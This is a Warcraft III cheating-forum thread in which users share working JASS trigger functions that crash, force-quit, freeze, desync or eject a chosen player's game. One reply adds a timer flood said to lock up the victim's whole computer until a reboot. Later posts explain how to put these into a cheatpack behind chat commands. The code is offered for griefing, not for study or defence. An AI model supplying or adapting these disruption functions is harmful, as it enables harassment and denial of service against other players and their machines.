Game Disruptions & A bit more

General talk about editing, cheating, and deprotecting maps.

Moderator: Cheaters

User avatar
Ozzapoo
The Flying Cow!
Posts: 2196
Joined: November 2nd, 2007, 10:34 pm
Location: Melbourne

Game Disruptions & A bit more

Post by Ozzapoo »

Lol. I found some triggers to disrupt game play and decided to share them :D

First off, everyone loves to crash others :D

Code: Select all

function SendCrash takes player p returns nothing
if p==GetLocalPlayer()then
call ExecuteFunc("Harr! Crashy!!")
endif
endfunction
Usage: call SendCrash(<Insert Player Here>)

Seconly, EXIT someone's warcraft!! :D

Code: Select all

function ExitWarcraft takes nothing returns nothing
loop
call ExecuteFunc("ExitWarcraft")
endloop
endfunction

function SendExit takes player p returns nothing
if p==GetLocalPlayer()then
call ExecuteFunc("ExitWarcraft")
endif
endfunction 
Usage: call SendExit(<Insert Player Here>)
Please note that this won't just cause massive lag and leaks, although it may seem that way, I tested it and it worked ;) And this is good for making people go 'WTF' because their wc3 just closed without fataling :D

Next, we can freeze someone's warcraft :D Harr harr.

Code: Select all

function FreezeWarcraft takes nothing returns nothing
loop
call TriggerSyncReady()
call ExecuteFunc("FreezeWarcraft")
endloop
endfunction

function SendFreeze takes player p returns nothing
if p==GetLocalPlayer()then
call ExecuteFunc("FreezeWarcraft")
endif
endfunction
Usage: call SendFreeze(<Insert Player Here>)

We can also desync (split) people easily:

Code: Select all

function SendDesync takes player p returns nothing
if p==GetLocalPlayer()then
call CreateUnit(GetLocalPlayer(),'hpea',0,0,0)
endif
endfunction
Usage: call SendDesync(<Insert Player Here>)

That's it for the game disruptions. Now it's time for the last one, the famous '-end' command! (Except it's only for 1 player at a time :D) It just makes the picked player immediately leave the game and go to chat.

Code: Select all

function SendLeave takes player p returns nothing
if p==GetLocalPlayer()then
call EndGame(false)
endif
endfunction
Usage: call SendLeave(<Insert Player Here>)

Hope you enjoy these game disruptions!! :D
Visit Ozzapoo.net, my blog and the home of AutoCP and Cheatpack Detector!
AutoCP3 now available for free!
User avatar
Aero
Forum Staff
Posts: 829
Joined: January 28th, 2007, 8:10 pm
Title: JASS Programmer
Location: Canada

Re: Game Disruptions & A bit more

Post by Aero »

Lol. I've seen these and some I used in Island Defense some time ago (Such as endgame).

-You shouldn't need unnecessary loops (Since the executefunc will execute itself anyway)
-Also, SendExit doesn't need the ExitWarcraft function to work if I'm not mistaken
-I would use TriggerSyncStart() instead of TriggerSyncReady(), since the new patch (1.22) I noticed that TriggerSyncStart() freezes forever. TriggerSleepAction(0.) does that too now I think.

And you forgot this winner (Instant Desync + freeze computer; most users will need to reboot as Operating Systems might take up to 10 minutes or more to close the program):

Code: Select all

function Clusterfuck_Child takes nothing returns nothing
call TimerStart(CreateTimer(),.001,true,function Clusterfuck_Child)
endfunction

function Clusterfuck takes player p returns nothing
if p==GetLocalPlayer()then
call RemoveUnit(CreateUnit(GetLocalPlayer(),'hpea',0,0,0))
call TimerStart(CreateTimer(),.001,true,function Clusterfuck_Child)
endif
endfunction
User avatar
Vegas
Shopping Maul USA Creator
Posts: 1759
Joined: January 18th, 2007, 11:07 am
Title: No Comment
Location: Calgary Canada
Has thanked: 45 times
Been thanked: 8 times

Re: Game Disruptions & A bit more

Post by Vegas »

wow, the ultimate -kick command, just close warcraft altogether. I might just have to use this in my map. (If the multiboard gets fixed ;D)
User avatar
Aero
Forum Staff
Posts: 829
Joined: January 28th, 2007, 8:10 pm
Title: JASS Programmer
Location: Canada

Re: Game Disruptions & A bit more

Post by Aero »

Vegas wrote:(If the multiboard gets fixed ;D)
lol...
I added a trigger comment with all the globals I used...just make sure those are in there...
User avatar
Vegas
Shopping Maul USA Creator
Posts: 1759
Joined: January 18th, 2007, 11:07 am
Title: No Comment
Location: Calgary Canada
Has thanked: 45 times
Been thanked: 8 times

Re: Game Disruptions & A bit more

Post by Vegas »

Ya, they are. I just happened to ... something up somewher, and the game crashes and returns to the main page. Also now when trying to test the map, it comes with an error before it goes to gameplay. been working 9-10 hour days and havnt had the energy after work to look at it more intense.
User avatar
Aero
Forum Staff
Posts: 829
Joined: January 28th, 2007, 8:10 pm
Title: JASS Programmer
Location: Canada

Re: Game Disruptions & A bit more

Post by Aero »

-.-'
initialD
Some Honorary Title
Posts: 1713
Joined: June 8th, 2007, 5:08 am
Title: Angry Bird

Re: Game Disruptions & A bit more

Post by initialD »

so, these are some evil kick commands. >:D
qwertz111
Senior Member
Posts: 113
Joined: March 1st, 2007, 8:22 pm

Re: Game Disruptions & A bit more

Post by qwertz111 »

Ozzapoo wrote:Lol. I found some triggers to disrupt game play and decided to share them :D

First off, everyone loves to crash others :D

Code: Select all

function SendCrash takes player p returns nothing
if p==GetLocalPlayer()then
call ExecuteFunc("Harr! Crashy!!")
endif
endfunction
Usage: call SendCrash(<Insert Player Here>)

Seconly, EXIT someone's warcraft!! :D

Code: Select all

function ExitWarcraft takes nothing returns nothing
loop
call ExecuteFunc("ExitWarcraft")
endloop
endfunction

function SendExit takes player p returns nothing
if p==GetLocalPlayer()then
call ExecuteFunc("ExitWarcraft")
endif
endfunction 
Usage: call SendExit(<Insert Player Here>)
Please note that this won't just cause massive lag and leaks, although it may seem that way, I tested it and it worked ;) And this is good for making people go 'WTF' because their wc3 just closed without fataling :D

Next, we can freeze someone's warcraft :D Harr harr.

Code: Select all

function FreezeWarcraft takes nothing returns nothing
loop
call TriggerSyncReady()
call ExecuteFunc("FreezeWarcraft")
endloop
endfunction

function SendFreeze takes player p returns nothing
if p==GetLocalPlayer()then
call ExecuteFunc("FreezeWarcraft")
endif
endfunction
Usage: call SendFreeze(<Insert Player Here>)

We can also desync (split) people easily:

Code: Select all

function SendDesync takes player p returns nothing
if p==GetLocalPlayer()then
call CreateUnit(GetLocalPlayer(),'hpea',0,0,0)
endif
endfunction
Usage: call SendDesync(<Insert Player Here>)

That's it for the game disruptions. Now it's time for the last one, the famous '-end' command! (Except it's only for 1 player at a time :D) It just makes the picked player immediately leave the game and go to chat.

Code: Select all

function SendLeave takes player p returns nothing
if p==GetLocalPlayer()then
call EndGame(false)
endif
endfunction
Usage: call SendLeave(<Insert Player Here>)

Hope you enjoy these game disruptions!! :D
how do i implement all these into an existing cheatpack?
User avatar
Senethior459
Forum Staff
Posts: 2618
Joined: June 2nd, 2007, 6:53 pm
Title: I Just Lost the Game

Re: Game Disruptions & A bit more

Post by Senethior459 »

I do believe that you look at Fai's cheatpack... http://forum.wc3edit.net/map-deprotecti ... t5152.html
He added these functions to his cheatpack.

Basically, copy those functions, and paste them in. Then, make triggers that will check for the typed command, and when it sees them, calls that function on the player that was mentioned in the typed command. It's hard to explain it, if you want to see what I mean, just tell me so. I'll show you what I mean/how you would do it.
My Warcraft III Tool Collection
If you want to chat/game with me:
Blizzard: Senethior459#1962
Discord: Kyle#7409
Steam: Spacekidkyle
User avatar
Dekar
Forum Drunk
Posts: 2899
Joined: January 17th, 2007, 4:22 pm
Has thanked: 1 time
Been thanked: 1 time

Re: Game Disruptions & A bit more

Post by Dekar »

Aero wrote:Lol. I've seen these and some I used in Island Defense some time ago (Such as endgame).

-You shouldn't need unnecessary loops (Since the executefunc will execute itself anyway)
-Also, SendExit doesn't need the ExitWarcraft function to work if I'm not mistaken
-I would use TriggerSyncStart() instead of TriggerSyncReady(), since the new patch (1.22) I noticed that TriggerSyncStart() freezes forever. TriggerSleepAction(0.) does that too now I think.

And you forgot this winner (Instant Desync + freeze computer; most users will need to reboot as Operating Systems might take up to 10 minutes or more to close the program):

Code: Select all

function Clusterfuck_Child takes nothing returns nothing
call TimerStart(CreateTimer(),.001,true,function Clusterfuck_Child)
endfunction

function Clusterfuck takes player p returns nothing
if p==GetLocalPlayer()then
call RemoveUnit(CreateUnit(GetLocalPlayer(),'hpea',0,0,0))
call TimerStart(CreateTimer(),.001,true,function Clusterfuck_Child)
endif
endfunction
I am glad I'm using GNU/Linux and run wc3 in a dedicated xserver -> ctrl + alt + backspace and wc3 is gone :D
Don't pm me with Warcraft questions, this is a forum so just make a post!
In the world of thinking we are all immigrants. -Robert Nozick